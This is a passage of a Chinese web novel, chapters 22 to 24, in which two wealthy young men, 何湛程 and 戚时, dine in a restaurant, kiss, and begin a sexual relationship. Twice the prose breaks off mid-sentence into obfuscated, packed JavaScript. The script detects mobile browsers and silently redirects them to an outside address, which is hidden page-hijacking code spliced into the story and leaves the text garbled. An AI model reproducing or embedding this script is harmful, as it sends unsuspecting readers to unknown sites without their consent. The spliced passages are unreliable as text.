何湛程抬头,一脸认真:“钱是钱,礼物是礼物,我花你钱送你礼物,难道就不是我的心意了吗?” 戚时气笑了,语气依旧冷冰冰:“不用,我不喜欢过生日。” 何湛程好脾气地拍拍他肩膀,说:“那,你从我那儿拿的两双球鞋就正式送给你了,这是他家品牌送我的20岁生日礼物,按照我的鞋码定制的,不过我看咱俩脚差不多大,你穿应该也差不多。” 戚时倔强地别过脸:“老子拿了本来就是老子的,还用得着你送?” 何湛程把自己手机号和微信从黑名单全都放出来,自己把自己设了置顶,笑眯眯问他:“喂,你给我备注的什么?” 戚时挑眉:“小傻子啊。” 何湛程笑得眼睛眯成一条缝:“你是不是觉得我很可爱呀?” 戚时纳闷:“你有病吧?” 何湛程突然凑过去,撅嘴在对方脸上轻轻地吻了一下,笑:“二哥,我也觉得你很可爱。” 戚时僵在原地。 缓了十多秒,慢慢转过头,眼珠子瞪得老大,不敢置信地拔高嗓门:“你他妈敢亲老子?” 电梯门开,何湛程把手机揣自己裤兜,伸手将袋子重新接了过去,一脸坦然地迈向车库。 “走吧二哥,让我坐坐你的车。” 戚时怒气冲冲在他身后喊:“我说过没有,我不是你消遣的对象!” 何湛程耸耸肩:“玩玩嘛,二哥你是久经风月的人物,不会连这种程度都玩儿不起吧?” 戚时成功被激将到了,咬着牙笑得温柔:“怎么会,我只是单纯嫌弃你罢了。” “没关系,我不嫌弃你。”何湛程回头冲他一笑:“不过,除非我腻了,你以后不准再找别人玩儿了,知道么?” 戚时哈哈哈笑起来,几步追上前,和人并肩走着,凑在对方极近,笑意狰狞地冲人挑衅:“我就找别人玩儿,你把我怎样?你把我怎样?你、能、把、我、怎、么、样?你管天管地,你还管得着老子和谁上床睡觉?” 何湛程微笑,站定在原地,抬腿,冲人屁股上踹一脚: “快去开车啦!” “艹,你穿着鞋还敢踹我!” “我饿了。” “哪家店来着?” “我发你地址。” “我手机在你兜里。” “哦,忘了,给。” “没动我别的吧?” “删了几个缠着你叫‘时哥’还发裸照过来的女人。” “艹,你有病吧?” “如果你喜欢看,我也可以给你发我的。” “……上车吧。” 俩人并肩走向前边停的一辆路虎揽胜,戚时打开后备箱,何湛程却把东西全扔后座,要坐副驾,戚时笑,走过去替他打开车门,抬手挡在车檐,配合说:“请吧,三少。” 何湛程嘴角微微扬着,斜身坐了进去。 戚时发动车子,见人懒洋洋靠在位子上不动,提醒:“安全带。” 何湛程无动于衷:“手笨,不会系。” 戚时警告:“别太过分啊。” 何湛程:“饿了。” 戚时:“……” 无奈,解下自己安全带,倾身凑过去帮人系好。 温凉的嘴唇轻轻蹭在耳边,吐着热气:“二哥,要我送你辆好点的车吗?” 戚时面无表情将人脸摁回去:“我就喜欢这种车型。” 整张脸被那张粗糙大掌包裹,他伸舌舔舔对方手心:“哦,我有辆闲置的红色玛莎拉蒂。” 戚时嫌弃地抹手在人肩头蹭掉口水,冷着脸坐回去:“是呗,和你一样骚。” 何湛程轻笑一声,正准备再逗人几句,裤兜手机响起。 来电显示:刘祥。 “谁啊?”驾驶座上人漫不经心地问。 “刘导。”何湛程说,然后接起电话。 为表对总裁大人的忠诚,主动打开了免提。 然后,裴玉急哄哄的大嗓门就充斥遍整个车内: “三少!三少你在哪儿啊?!刘导说你没去机场啊?你身上没钱,隔三差五就感冒高烧的,你也不跟我说一声,一个人到处乱跑干什——” 何湛程面不改色果断挂掉电话。 “搞诈骗的。” 戚时脸阴沉下来:“他叫你‘三少’。” 何湛程劝:“你听错了。” 戚时冷笑:“我认识这个声音,这是裴玉吧?那小子长得跟朵花似的,这两年开得正盛,怎么,你俩这么要好啊,你去哪儿还需要时时刻刻跟他汇报? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409031|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 何湛程支胳膊在车窗,慵懒托腮:“是啊,所以某些人如果有心的话,就得快点儿抓紧啊,万一我跟人家跑了怎么办?” 戚时一脚踩足油门:“谁稀罕。” 想来是这家法餐厅的至尊SVIP情侣包厢价格高昂,很少人订,所以顾客迟到将近一小时才来,仍有位置。 来者是两位身高腿长的帅哥,前台经理惯见大场面,面带微笑,递给他们房间号,并招手令侍者引领他们过去。 何湛程坚持拒绝:“真的不用了,我们在大厅就好。” 他甚至连普通包厢都不敢坐。 他怕戚老二吃醋打死他。 戚时揪着他后衣领,提溜小鸡似的把人就往包厢里带。 “退啥啊,钱都花了,不享受一把对得起刚一路全亮的绿灯吗?” “我觉得,”何湛程垂死挣扎着,“我们应该让位给真正恩爱的情侣。” “呵,”戚时不以为然,“真正恩爱的情侣未必就付得起咱哥俩儿占的位子。” “也是。”何湛程笑,想到什么,偏头说:“二哥,你是不是在京城还有家会所啊,待会儿吃完饭带我去玩玩呗?” “行啊,”戚时蛮潇洒,“你交我100万会费,我就带你进去。” 何湛程耍赖:“我都认识你了,哪里还用交什么会费。” “你也知道你现在归我管啊?”戚时不客气地抬起手,蓄足力弹人一个大脑崩儿,何湛程吃痛一叫,他手指戳了戳兔崽子眉心,警告着:“你大哥把你放我这儿来,是让我约束你,可不是让我带着你乱来的!” 何湛程“切”了一声,正要嫌弃人小气,正引路的男侍者止住脚步,矜持的白色手套缓缓推开一道门,说:“请进。” 戚时拎着兔崽子一起,环顾打量着,一边往里走。 黑金奢华格调陈设,光影偏暗,进门偏左,有二人座的藤编摇篮椅,深棕软垫上放着餐厅赠送的花束和蝴蝶结礼品盒;墙上挂着粉蓝缤纷的花盒,盒下方悬挂着“FOREVER IN LOVE”的卡片;铺着黑丝绒餐布的长桌,按照烛光晚餐的标准布置,中央放着蜡烛、玫瑰花,和一个四寸的黑天鹅蛋糕。 白色水晶珠帘和透明气球也有,下方是一个黑色真皮长凳,放置在半弧形的落地窗前,坐在那里可以俯瞰灯火璀璨的帝都夜景。 隆重而浪漫气息瞬间扑面而来。 戚时踏着皮鞋,绕了一圈,东摸一下,西掀一下,路过蛋糕,伸手就把天鹅脖子连脑袋一起拔下来,尝没两口,忙扭头冲何湛程嚷了句:“别吃这个啊,齁甜!” 何湛程正坐在摇篮椅上拆礼品,三下五除二撕了礼盒包装,拿出来发现是个富士拍立得,正准备拍着玩玩,发现没相纸,又掏手机网购相纸,把付款链接甩给戚时,抬头催人:“看微信,付账。” 侍者观察这两位比起来约会、更像是来打劫的哥俩儿,犹豫了下,走上前说:“请问二位现在就要上菜吗?我让雕花厨师和小提琴手过来。” “小提琴?”戚时正付款呢,头也不抬就说,“不用了,屋里有他一个人吵吵就够了,人多了我头疼。” “那厨师——” “厨师也不用,菜做好了直接端上来,速度快点儿,或者你先上个点心,给他垫垫肚子。” “好的。”侍者退下。 包厢门关上,戚时插兜立在落地窗前,正欣赏夜景,满胸腔浮上雄心壮志,一回头,见小傻子低头认真地倒腾着拍立得,没忍住一笑。 朝人走过去,一屁股坐他旁边,凑过去问:“诶,干嘛呢,你想拍照片啊?” 胸前黏上来一颗重重的大头,清新香水味混杂着淡淡的烟草味,何湛程一怔,鼓捣机子的心思忽然就没了。 缓缓抬起头,盯着对方那张脸。 浓眉深眼窝,漆黑瞳仁,眼睛亮晶晶的,笑起来,恣肆张狂,俊得发邪。 下一秒,手中拍立得掉落在地毯上,他猛地扑过去,双手捧起戚时的脸,对准那人红得诱人的嘴唇,低头吻了上去。 23. 第23章 何湛程的吻无比强势地压了过来,戚时因惊吓而放大的瞳孔里倒映着的,是他做梦都不敢去触碰的一张脸。 清贵,纯净,挺翘白皙的鼻尖,睫毛低覆,嘴唇柔软。 欺身下来时,满眼不容抗拒的俯视意味,迷得人呼吸颤抖心脏狂跳。 几乎立刻,戚时喉咙一紧,闭上了眼,屈服了欲望本能。 何湛程试探着舔了下他舌尖,他不满足,干脆抄手一捞,将对方整个人抱到自己大腿上,一手托着对方的臀,另一手按着怀里人的后脑勺,几乎是嵌入式将对方的唇舌往自己的齿间递送。他不太会吻,怀里人吃痛轻哼一声,他瞬间起了反应,恨不得将人嚼烂吞下去。 偌大包厢空荡,两个人在空间狭小的摇篮椅里拼命纠缠在一起。 身下椅子在黯淡的光影里没节奏地乱晃,他与他贪婪地侵吞着彼此身上的气息。 “哈……”何湛程仰着脖子喘气,“我以为,你会拒绝我……” 戚时猛地收紧揽在人腰的手臂,埋头大口吸吮着对方脖颈,出言嘲讽:“少爷瞧不起谁呢,二哥可比你想象得要玩儿得起的多。” “可你吻技很差诶……” “你又好到哪里去……” 漫长的三分钟,这场没来由的激吻正式结束,堆簇着花束的暗室角落,他与他对视,各自衣衫不整。 戚时慵懒地斜躺在摇篮椅里,一条长腿踩在地上,有一下没一下地晃着摇篮,何湛程趴在他身上笑得开心,二人的双腿蛇尾巴似的,紧紧绞在一起。 “还没好?”何湛程感知到身下异样,伸手摸进对方腰带:“我帮你。” “不用,”戚时不甚在意地握住他手,放到自己唇边亲吻了一下,“待会该吃饭了。” 何湛程一笑,抽回手,低头帮他系领扣; 戚时也笑,抬起手,仔细帮他打好领带。 俩人有一搭没一搭地闲聊。 “说真的,之前没人吐槽过你吻技差吗,咬得我痛死了。” “没啊,跟我这么帅的男人接吻,就你最不识相。” “切,下次不要和你亲了。” “不和我亲,和谁亲?裴玉,还是那个什么许若林,或者……女人?” “你猜啊,猜中了我就告诉你。” “我不想猜。” “那我也不告诉你。” “谁稀罕。” 他们起身分开。 戚时弯腰捡起掉在地上的拍立得,扭头问:“诶,你刚才买的相纸送哪去了?” 何湛程懒洋洋躺在摇篮里,望他:“干嘛,想知道我住哪儿啊?” 戚时抱臂倚在墙边,笑:“刘导派的司机让你赶走了吧?晚上不让我送你回去?” 何湛程抬手来回撩着刘海:“吃完饭再说呗,你不领我玩儿,我打算自己走呢。” “自己怎么走?”戚时两眼眯起,走过来将拍立得递给他,威胁着:“你敢乱跑,我可不替你付账。” “哎呀不花你钱,真是的,看你抠的。”何湛程继续鼓捣他的拍立得,随口道:“待会儿出去,我从街上随便拉几个人,让他们带我随便去个好玩儿的地方逛两圈,前阵子陪翘楚逛景区,真是一个塞一个的没劲,我要去年轻人多的地方。” “林翘楚不是你表姐么,”戚时挑眉问,“你小子没大没小的,背地里就直呼其名啊?” “嗯……”何湛程说,“她不让我叫她表姐了。” “为啥?” “你猜啊。” “猜个锤子的猜。”戚时没好气地笑,趁机俯下身,很想去捏一下兔崽子喷香的脸蛋。 对方淡淡地望过来,眸底波澜不惊,问:“你干嘛?” 戚时一顿,这才意识到他与他亲密无间的激情已经过去了,自己这会儿主动…… 不太合适。 手指便落在对方乱蓬蓬翘起的头发上,一脸嫌弃地拨弄两下:“别撩了,你头发现在就像个鸡窝,赶紧把刘海放下来。” “哦。”何湛程就听话把刘海放下了,又掏出小镜子打理了下,问他:“这下呢?帅不帅?” 戚时捧场竖起大拇指:“超帅,简直就是理想型!” 何湛程一脸得意:“那是!” 侍者推车送餐进来。 两米长的桌子,戚时和何湛程一人坐一头,摆在桌上的大束玫瑰花、银座烛台、蛋糕,还有挂在头顶的气球挡着彼此视线,戚时嫌碍事,让侍者全都撤了,手下迅速切好牛排,给对面的人递了过去。 “来,程儿。” “谢谢二哥。”何湛程笑着接过,将自己那盘刚咬过一口的牛排换过去。 包厢静谧下来,二人平平淡淡地吃着饭,喝着红酒,不时碰个杯,聊几句有的没有。 左手边,是他与他初吻过的角落;右手边,是窗外都市的繁华景色。 气氛祥和得竟如此令人不舍。 戚时咬着最后一口牛排,心下琢磨着,倒不是他非要送何湛程回酒店,只唯恐兔崽子大晚上一个人在外边儿瞎溜达,万一又遇上了谁…… 万一又遇上了谁,他这个做东道主的怎么跟何老大交代? 正要开口跟何湛程说,要不待会儿叫个出租送他回去歇着,何湛程身子突然一个哆嗦,猛地别过头,打了个大喷嚏。 放下刀叉,飞速连抽三四张纸,低头擤鼻涕。 戚时皱眉,这才想起出发那会儿,裴玉在电话里嚷嚷着何湛程貌似体质不太好,三天两头就感冒发烧,自己也不知道照顾自己。 今天本来就阴天,这兔崽子白天从郊区坐长途车来市里,下午进进出出的买衣服,这一冷一热的,傍晚还故意穿这么少来调戏自己,他不感冒谁感冒? 戚时查了下天气预报,今日气温是:-3°/8° 何湛程擤完鼻涕,说话还带着鼻音,叫他:“诶,待会儿下楼给我买件厚外套。” 戚时瞪他一眼:“废话,就你这德行,还想着大半夜跑出去玩儿呢,待会儿吃完饭就走,先去附近药店拿点儿感冒药,然后我送你回酒店歇着。” 何湛程笑着提醒:“你也得吃点药,不然传染给你了。” 戚时满不在意地挥了下手:“我身体比你好多了。” 忽然间想到什么,说不上是不是携带私心,戚时手指胡乱敲着桌子,提醒着:“你应该是水土不服了,得多养阵子,既然最近身子不好,私生活上好歹收敛点,别净和人乱搞,省得病上加病。” 何湛程又扯纸巾擤鼻涕,闷声道:“那你还要送我回去?” 戚时:“……” 什么意思? 这什么意思? 这话说得,他戚老二可是正派人物! 何老三这精虫上脑的小混蛋,难不成以为全世界人都和他一样,成天光想那事儿么? 呵,搞笑! 戚时按了铃,叫侍者来,递给对方一张卡,说结账,再请人帮忙跑一趟腿,去楼下附近某潮牌时装店买件黑色的长款羽绒服,要2XL号。 “好的。”侍者拿着卡退下。 何湛程望过去:“你怎么知道我穿2XL?” 戚时叼上烟,正低头打火,闻声一顿,又将烟和打火机收起,状似敷衍地回:“这有什么的,我一看就知道啊。” “哦,”何湛程又问,“怎么不点烟?” “胃里不太舒服,”戚时说,“不想抽了。” “你平时少喝点儿酒,”何湛程说,“我上次看茉莉那么能喝,就想着你肯定——” “她酒量好,是她本来就这么能喝,这是我招秘书的硬性条件之一,”戚时打断他,语气冷硬几分,“不是我逼她的。” 何湛程愣了一下,看着对方认真的脸,忍不住笑了起来。 “笑什么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409032|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “没什么。” “肯定有什么!” “真的没什么。” “你说,你说!” “我说,我说!” “别学我说话!” “就学你说话!” “你个兔崽子!” “你个纸老虎!” …… …… 侍者打开门,何湛程穿着暖烘烘的新羽绒服,优哉游哉地从包厢里走出来,戚时不紧不慢地跟在人后面,左手拿着拍立得的礼品盒,右手挽着某人换下的风衣外套。 身后,侍者缓缓将门关上。 戚时忽地回头,视线穿过逐渐闭合的门缝隙,望向那张轻荡着的藤编摇篮椅。 心似乎也随之摇摆,一荡一荡的。 “先生,”侍者走上前询问,“请问是有东西忘记拿了吗?” 戚时下巴冲里面一抬:“你们屋里那张椅子,卖么?” 侍者歉然:“不好意思先生,这座摇篮及室内的其他家具布置,都是我们餐厅的设计师独家设计的艺术品,任何一件都是非卖品,如果您喜欢,我们这边可以提供给您设计师的名片。” 戚时挑了下眉,问:“可我就想要这把,出多高价格都不卖?” 侍者无奈笑:“不好意思,这是我们餐厅的规定。” “行吧。”戚时也不强求,三两步倒退回走廊,扭头瞧了眼外面。 何湛程已经走下楼,修长的黑色背影正缓缓下降着。 戚时放心回头。 将拍立得和风衣塞侍者怀里,三两下解开西装扣,动作干练地撸起袖子,转身步履生风,推门迈了进去。 侍者一吓,以为这个看起来不太好惹的客人准备要强抢,连忙抱着东西跟了进去,没料这客人竟然直接飞步冲过去,蓄足了力往下抬脚一踹,转眼就在摇椅座上踹了个大洞! “OMG!”侍者尖声惊呼。 正在瞪眼震惊着,又见那客人——不,那是臭流氓、是恶客! 恶客迈着大长腿走向吃剩的餐桌,右手抄起盘子旁边的餐刀,在侍者逐渐惊恐起来的目光下,扬起猛然肌肉暴涨的手臂,朝摇椅顶部的十字合口处挥下数刀。 一下,又一下,连续挥舞才砍断一半,恶客咬牙切齿笑骂了句“真他妈的结实啊”,侍者目瞪口呆,在他以为恶客要放弃的时候,那人却扔掉餐刀,从裤兜摸出个Zippo的冰貔貅纹打火机。 噗呲一声,恶客抬起手,小火苗就在摇椅顶剩下半截的合口处烧着了。 侍者眼前一黑。 那人姿态悠闲地摸出根烟,扬起手,将烟头放在火势愈烈藤编椅上的点燃。 火光噼里啪啦地烧着摇椅,藤筋随之一根根崩断,恶客叼烟站在一旁,鼻息不时喷出青色的薄雾。 他趁闲在手机上回复着什么消息,然后抬头,看火烧得差不多了,转身回餐桌,反手拎起冰桶就冲着即将蔓延开的火势浇了下去。 噗—— 呛人的白色烟雾刺进鼻腔,冰块和冰水以压倒性的优势将火扑灭,摇篮椅被烧黑了一半,恶客弯腰捡起餐刀,再次抬起手,在合口处轻轻一插,椅子随之彻底散架。 侍者心痛地闭了闭眼。 恶客也被熏得眯起眼,泛红的眼眶却令他显得愈发白皙英俊。他踩着皮鞋从白色烟雾里走出来,抬手轻掸了下落在身上的灰烬,将一张卡片插进侍者口袋,再从人怀里把自己的东西拿走。 “不好意思,”他毫无愧疚地道歉,“我不喜欢我坐过的椅子被你们别的客人坐,这是我秘书的名片,不管赔偿多少,你们直接找她。” 侍者默不作声地拿起名片看: 茉莉/擎荣集团行政总秘书 “哦对!”恶客在走廊走到一半,忽地又回头冲侍者笑,心情看起来很愉悦:“你们这儿的布置我很喜欢,如果有机会,我下次还来!” 24. 第24章 晚八点半,何湛程拿了最近常吃的感冒药,拎着塑料袋,站在药店门口,给蹲在隔壁商店门口台阶上的男人发刘导帮他定的五星酒店地址。 戚时拨弄着手机,扫一眼街道名就知道在哪儿了,说:“不远。” 他刚刷了牙,又跑去便利店买了盒薄荷糖,倒了四五颗进嘴里,正嘎嘣嘎嘣嚼着。 心里其实怪害臊的,分明奔三的年纪,又是个老烟民了,就因为接过了一次吻,忽地就跟个十来岁的小年轻似的,莫名注重起这些有的没的。 何湛程纳闷地走到人身边,嗅着戚时肩头淡淡的烟熏味,问:“你刚才干嘛去了?” 戚时说:“抽烟啊。” 何湛程疑惑:“我怎么觉着你是去哪儿放火了呢?” “可能吧,”戚时帅气地一捋发型,“因为你二哥我是芳心纵火犯。” 何湛程:“……” 何湛程干脆也蹲在他旁边,说:“那我陪你一起散会味儿吧。” 戚时偏头瞧他。 那是一种并不刻意的回眸,在檐下阴影里,英气勃发的脸庞流动着朦胧的光,浓眉斜挑,俊丽风流。 何湛程愣了下,忍不住伸出手,指尖冰凉,替戚时抹掉黏在湿润眼尾处一小根睫毛,然后闭上眼,撅嘴凑在人眼尾处轻轻吹了吹。 戚时睫毛忽闪了下,闭上眼,蓦地心口一紧,连呼吸都不敢。 “二哥,”兔崽子抱着塑料袋,歪头靠在他肩上,“你真帅。” 戚时笑了笑,伸胳膊揽人入怀,埋头拱在人脖颈间猛吸了两口气,逗得人咯咯笑。 那人一笑,他整颗心都要化了。 他觉得兔崽子长得才是真好看。 不单是白,皮肤也好,脸上软软的绒毛好可爱,连微不可见的毛孔里都散着好闻的香味。 但兔崽子说他没喷香水,戚时也没坚持,他猜兔崽子大概不知道自己身体里蕴藏的香气有多迷人。 香,软,屁股也翘,看起来高高瘦瘦,真正摸进了衣服里,才知他极为丰满多汁,亲热时灵活扭动起来的腰肢,连勾引人的技术都是一流。 至于性格,那就更好了。 戚时就没见过何湛程真正发过脾气,看面相,何湛程属于笑起来清纯动人,不说话时又偏高贵冷艳那一挂的。 不愧是大户人家教养出的孩子,永远好商好量的,懂事儿、大方、有礼貌,浑身透着一股子聪明伶俐劲儿,不乐意了还会缠着人撒娇,笑意迷离的,一张抹了蜜的小嘴儿叭叭的,文采也好,简直完美到令人欲罢不能。 戚时才舍不得让他家宝贝乖兔崽看见那么暴力的场面,万一把人吓坏了怎么办? 临出发前,戚时漫不经心倚在驾驶座门外,飞快扭头看一眼坐在车里喝水吃药的乖兔崽,然后低头捂紧手机,在网上快速搜了一下接吻教程。 网上说,接吻得循序渐进,不能一上来就硬啃,要先嘴唇啵两下,观察下对方啥反应,如果对方也有那方面意思的话,他再伸舌头。 但伸舌头之后的步骤,内容就变得五花八门起来,什么湿吻干吻、滑动吻、推动吻、齿痕吻、深喉吻,看得人眼花缭乱,戚时眉头皱起,不懂怎么俩人亲个嘴儿还有这么多讲究。 还有个热门内容,说判断一个男人吻技好坏与否,要看他会不会打樱桃梗结。 戚时不屑一笑。 樱桃梗结算个屁,如果何老三舌头够长,他打个中国结都没问题。 他只想和那人紧紧缠绕在一起,舌头也好,腿也好,或者……其他地方也好,他将吸吮遍那人身上每一处甘甜的汁液,品尝香软肌肤里的酒味,把人欺负到泛泪,让乖兔崽带着哭腔躺着他身下求饶,然后,将自己彻底渗透进去。 戚时也说不上这是什么心理,他从未对任何一人有过这样奇异兴奋的感觉。 他们这才第二次见面,兴许互相有那么几分喜欢,但绝谈不上爱,可那人就是这样,稍微靠近自己一点,他就想扑上去亲,想表白,想买好多好多衣服鞋鲜花礼物送给他,又想把人扒光了锁在卧室里,不允许这个风流惯犯再出去鬼混,更不准他再看别人一眼。 但何湛程是那么的随性坦然,突然一下强吻他,突然又一下抽离他,飘忽不定的,搞得人心乱如麻,他又被迫将那些邪恶的念头扼杀在脑海。 他阅人无数,但鲜少主动,因为对他主动的人实在太多,多到成群的美女坐在他怀里,他笑着享受,东摸一把,西撩一下,低头嗅着她们发间的芳香,闭眼听着耳畔此起彼伏乃至聒噪不休的娇嗔,他就感觉自己被世间所有的爱包围了。 可他只有自己需要了,才会随便找个谁解决一下。 谁呢? 一个又一个的,记不得名字,反正钱到位就是了。 他只记得一个蒋灵。 因为蒋灵骂他恋兄。 这女人太聪明了,一针见血地穿透他的心脏,刺激得他头皮发麻,吓得他整夜整夜的睡不好觉。 他并不对他哥抱有爱情的幻想,但又无法否认心里存在着某种微妙的感觉,于是觉得自己有了把柄在她手里,克制住暴脾气,对她好言哄着,大把钞票烧着,永远不说分手,只希望她能乖些。 倒不是怕她一个大学老师在媒体面前揭露他心里那点子破事儿。 他戚老二能怕她这? 他怕他亲老哥知道了,会抡皮带抽死他。 多几把丢人啊……他不止一次搓着脸想,脸都快搓掉一层皮了。 现在好了,她终于不说他恋兄了。 她又说他喜欢小傻子。 喜欢小傻子咋啦? 人帅多金又有才。 说,随便说。 他快快乐乐的就和她分手了。 回酒店路上,戚时老瞄着副驾上的人,乖兔崽吃了药就开始打盹,削瘦的身形衬得羽绒服也那么单薄平整,歪着脑袋靠在车窗,安静的小脸藏在毛茸茸的帽子里,只露一点挺翘的鼻尖。 想来是奔波一天累坏了,不知道上午跑哪儿玩去了。 戚时面带笑意,欣赏了半天乖兔崽睡熟的漂亮脸蛋,想到什么,脾气突然蹭地一下上来。 沉着脸,单手打着方向盘,另一手怒气冲冲给裴玉打电话: “小裴,”他憋着火问候,“最近戏拍得怎么样啊?” 小裴接通,一如既往好脾气地笑:“挺顺利的,时哥你有事找我吗?” “你还问我?”戚时呵呵笑,“老子还没问你,你们进组前,我让茉莉都跟你们交代过什么?” 小裴安静半天,缓缓试探问:“不准咱家公司女艺人和何三少走太近?” 戚时狞笑:“你也知道啊?” 小裴回声微弱:“时哥,我……我好像是男艺人。” 戚时:“……” 小裴很聪明地转过来脑筋: “时哥,你现在是跟三少在一块儿?他原来是去找你了?你们两个……现在在哪儿啊?” 戚时手指敲了几下方向盘,骄傲一昂下巴: “我们刚吃了饭,他在我车上睡着了,现在送他回酒店,你甭惦记了。” “哦,他住哪儿啊?” 戚时冷冰冰地说:“从现在开始,我宣布,咱家公司男女艺人,一律不准和何老三走太近。” 小裴为难:“这个有点困难啊时哥,三少是我恩人,我得报答他啊。” 戚时心里不太舒服,问小裴怎么回事,小裴简言意骇把前两年珠宝晚宴上的事给老板讲了。 老板呵一声,本以为裴玉是个机灵人,没想到原来是个大傻子。 他犀利点评: “他那不是为了你,他就是单纯善良而已。” 这下裴玉却笑了。 笑得那么开怀,仿佛听到了什么天大的笑话,却并不是讽刺嘲笑,而是显而易见的、对某个人毫无底线的包容和宠溺。 说话也非常讨人厌,语气颇为怜悯地对他说: “时哥,要么说你和三少不熟呢,你一点都不了解他。” 戚时眉心一沉,攥紧了手机,辩解似的,说:“我知道。” 他知道何湛程是什么样的。 他全都知道。 但,何湛程对他和别人是不一样的。 是因为在他戚老二面前,那人才一口一个“二哥”的叫着,不经意瞥来的含笑媚眼,软软湿漉的舌头,摇摆的小翘臀,骚红的玫瑰和鞋。 是因为在他戚老二面前,那人才那么温顺惹人疼。 裴玉这小子又懂什么? 裴玉明明什么都不懂! “好吧。”裴玉到底不敢和老板犟嘴,只温和地笑着,提醒:“时哥,我受你提携,对三少这个人,我就一点想对你说。” “什么?” “时哥你虽然不是艺人,但却是咱们公司艺人们公认最英俊的头儿,按照我的审美,你比董事长还要帅,但——” 戚时严肃清咳一声,打断道:“有目共睹的事就不要总拿出来说了,影响不好。” 裴玉:“……” 戚时问:“但什么?” “但,时哥你今年二十七了吧?”裴玉笑,“我没有冒犯你的意思,男人三四十正值壮年,咱们都还年轻呢,只是三少和我相处的熟一点儿,他亲口对我说,他谈恋爱只会和比他年纪小的谈,你……” 他轻叹一声:“你小心别和我一样陷进去了。” 电话甚至都没挂,下一秒就被人甩手摔到后车座,手机落到真皮椅垫上,砸出一声闷响。 何湛程正在梦里,耳朵里灌进来身旁人模模糊糊的说话声,他听不清,只道是总裁大人日理万机开车也要忙电话,为了顾忌他而刻意压低了话音,他懒得去听,直到最后一声砸手机的闷响,才彻底将他吵醒。 他抬手拉下帽子,揉了揉眼,扭头看向旁边显然情绪不太对劲的人,皱了下眉。 “怎么了?”何湛程问,“是生意上的事吗?” 前边四百米就是酒店,戚时一语不发,踩着油门就冲过去了,进车位也跟漂移似的,看也不看,拧着方向盘就硬干,一刹间,空气中响起一道尖锐嘶鸣,路虎的车胎在油漆路面上匝出一道焦黑冒烟的弧,戚时一秒稳稳停好车,四方车距完美程度堪比教科书级别,引得周遭路人纷纷驻足惊叹。 何湛程也愣,不知道这人炫技还是生气,但无论那种,都挺帅的。 戚时解下安全带,舒了口气,脾气好了些。 他扭头,握着身旁人的手,问:“睡么?” 何湛程又愣。 这傻大个儿这么直接的么? 想也不想,他点头:“行啊。” 戚时送他回来,不就是想和他睡么? 戚时一颗心绷紧着,认真盯着他:“我的规矩是,和我睡,就得做我女朋友。” 何湛程再次点点头:“行啊,那我就做你男朋友呗。” 戚时掌心使力,攥紧他手,继续盯他:“做了我的人,你就不能和别人有牵扯。” 何湛程继续点头:“互相尊重呗,行啊。” 戚时微微诧异,忍不住问:“这么轻易?” 何湛程望着他笑,又抬手摸了摸他的脸:“你帅嘛!你长这么帅,说什么话都那么动听,我当然要听你的啊。” 这一番调戏让人很不是滋味,戚时一句“要是我过两年不帅了呢”堵在嘴边,死活没问出口。 不过,干嘛要考虑过两年的事? 戚时用他惯常的流氓式思维转念一想,对啊,今朝有酒今朝醉,他本来也不太考虑长远的事。 他一不结婚,二不生娃,何老三是个风流兔崽子,他戚老二难不成就不能寻求自己的快活了么? 他说不准比对方还先腻了呢。 他们拥在一起激吻着、步伐错乱地撞进了房门。 分不清谁比谁更贪婪,插进对方头发里的手爆着青筋,爱欲缠着暧昧在唇齿间拉丝,红帆布鞋与黑皮鞋犹如跳舞一般,不停旋转、旋转、再旋转,绕得人头脑眩晕却快乐无极。 从未有过的感觉,像两块天生一对的磁铁终于合并,他与他互相为对方着迷。 薄荷香和淡淡苦药味在舌尖搅动的津液里交换,羽绒服、西装外套、黑衬衫压着白衬衫、交叠的领带和腰带,耳垂、脖颈、锁骨、无数敏感地带……低笑声、水声、闷哼声,滴滴答答,一件件掉落在地,又被两个意乱情迷的人踩过。 戚时将人吻得七荤八素,何湛程很快招架不住他。 戚时三两下就将人扒干净了,他四处玩|nong着他,听怀里人撅着被亲肿的嘴唇,在他耳边嘟囔了句“你刚才骗我”,他眼尾不禁浮起几分笑意。 心想,除了念书,老子学邪门歪道都挺快的。 …… …… 等人真正要进来,何湛程忍不住缩了缩肩膀,他突然有点想躲。 他也确实躲了。 心想这姿势不对,他预先打算的不是这样的。 “怎么了?”身上男人一把将乱爬的他重新捞回来摁怀里,语气也怪,七分爱怜三分讽刺:“按理说,你不该紧张吧?” 何湛程瞬间就不高兴了,大力推了下对方胸膛,抗拒道:“我没在过下面。” 戚时倏地睁眼,愣住:“什么?” 何湛程仰头瞪他:“我一米八四,看起来像是在下面的那个?” 戚时懵了,同时心头猛地蹿上一股无名窃喜。 他像个第一次恋爱的男孩儿,极其兴奋地嚷着:“那、那我一米九,我也不像啊!” 尚未长好的何湛程同学暂落下风。 他不好跟戚老二硬刚,于是很有眼色地投怀送抱,贴脸磨着对方脸边,咬耳朵撒娇。 “二哥,我不太适应,要不,你用嘴吧。” 戚时犹豫,无奈看他一眼。 小妖精冲他布灵布灵地眨眼。 戚时本欲妥协,默不作声低下头,下一秒,腾地又坐起身。 “不行,我也不太适应!” 何湛程脸色登时沉了。 